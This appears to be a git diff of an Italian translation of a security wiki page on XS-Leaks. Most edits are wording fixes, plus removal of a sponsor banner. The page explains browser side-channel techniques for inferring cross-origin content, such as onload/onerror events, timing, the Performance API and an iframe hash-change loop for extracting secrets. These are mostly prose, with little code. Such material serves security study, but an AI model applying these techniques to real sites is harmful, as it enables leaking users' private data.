-- **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i redirect HTTP.
+- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, aggirano le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
+- **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i reindirizzamenti HTTP.
 
 ### Tecniche di Leak
 
 - **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o il fallimento del caricamento delle risorse.
 - **Messaggi di Errore**: Eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
-- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
-- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia History) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
+- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto una soglia, fungendo da tecnica di leak.
+- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia Storia) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
 - **Performance API**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
 - **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.
 
@@ -56,15 +49,7 @@ XSinator è uno strumento automatico per **verificare i browser contro diversi n
 Puoi **accedere allo strumento in** [**https://xsinator.com/**](https://xsinator.com/)
 
 > [!WARNING]
-> **XS-Leaks Esclusi**: Abbiamo dovuto escludere gli XS-Leaks che si basano su **service workers** poiché interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere gli XS-Leaks che si basano su misconfigurazioni e bug in una specifica applicazione web**. Ad esempio, misconfigurazioni di CrossOrigin Resource Sharing (CORS), leak di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso gli XS-Leaks basati sul tempo poiché spesso soffrono di essere lenti, rumorosi e imprecisi.
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+> **XS-Leaks Esclusi**: Abbiamo dovuto escludere gli XS-Leaks che si basano su **service workers** poiché interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere gli XS-Leaks che si basano su misconfigurazioni e bug in una specifica applicazione web**. Ad esempio, misconfigurazioni di Cross-Origin Resource Sharing (CORS), leak di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso gli XS-Leaks basati sul tempo poiché spesso soffrono di essere lenti, rumorosi e imprecisi.
 
 ## **Tecniche Basate sul Tempo**
 
@@ -103,7 +88,7 @@ In questo caso, se `example.com/404` non viene trovato, verrà caricato `attacke
 - **Inclusion Methods**: HTML Elements
 - **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
-- **Summary:** L'API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **può essere utilizzata** per misurare quanto tempo ci vuole per eseguire una richiesta. Tuttavia, potrebbero essere utilizzati altri orologi, come l'[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) che può identificare i compiti che durano più di 50 ms.
+- **Summary:** L'API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **può essere utilizzata** per misurare quanto tempo ci vuole per eseguire una richiesta. Tuttavia, potrebbero essere utilizzati altri orologi, come l'[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) che può identificare compiti che durano più di 50 ms.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) un altro esempio in:
 
 {{#ref}}
@@ -141,17 +126,17 @@ Il tempo necessario per recuperare una risorsa può essere misurato utilizzando
 // Example of an iframe with the sandbox attribute
 
 ```
-### #ID + errore + onload
+### #ID + error + onload
 
-- **Metodi di Inclusione**: Frames
-- **Differenza Rilevabile**: Contenuto della Pagina
-- **Ulteriori informazioni**:
-- **Riepilogo**: Se puoi far generare un errore alla pagina quando viene accesso il contenuto corretto e farla caricare correttamente quando viene accesso qualsiasi contenuto, allora puoi creare un ciclo per estrarre tutte le informazioni senza misurare il tempo.
-- **Esempio di Codice**:
+- **Inclusion Methods**: Frames
+- **Detectable Difference**: Contenuto della pagina
+- **More info**:
+- **Summary**: Se puoi far generare un errore alla pagina quando viene accesso il contenuto corretto e farla caricare correttamente quando viene accesso qualsiasi contenuto, allora puoi creare un ciclo per estrarre tutte le informazioni senza misurare il tempo.
+- **Code Example**:
 
 Supponiamo che tu possa **inserire** la **pagina** che ha il **contenuto segreto** **all'interno di un Iframe**.
 
-Puoi **far cercare alla vittima** il file che contiene "_**flag**_" usando un **Iframe** (sfruttando un CSRF ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
+Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF, ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
 
 Per esempio:
 
@@ -164,11 +149,11 @@ Poi, puoi **distinguere tra** una pagina **caricata correttamente** o una pagina
 
 ### Esecuzione Javascript
 
-- **Metodi di Inclusione**: Frames
-- **Differenza Rilevabile**: Contenuto della Pagina
-- **Ulteriori informazioni**:
-- **Riepilogo:** Se la **pagina** sta **restituendo** il **contenuto sensibile**, **o** un **contenuto** che può essere **controllato** dall'utente. L'utente potrebbe impostare **codice JS valido nel caso negativo**, un **load** per ogni tentativo all'interno dei **`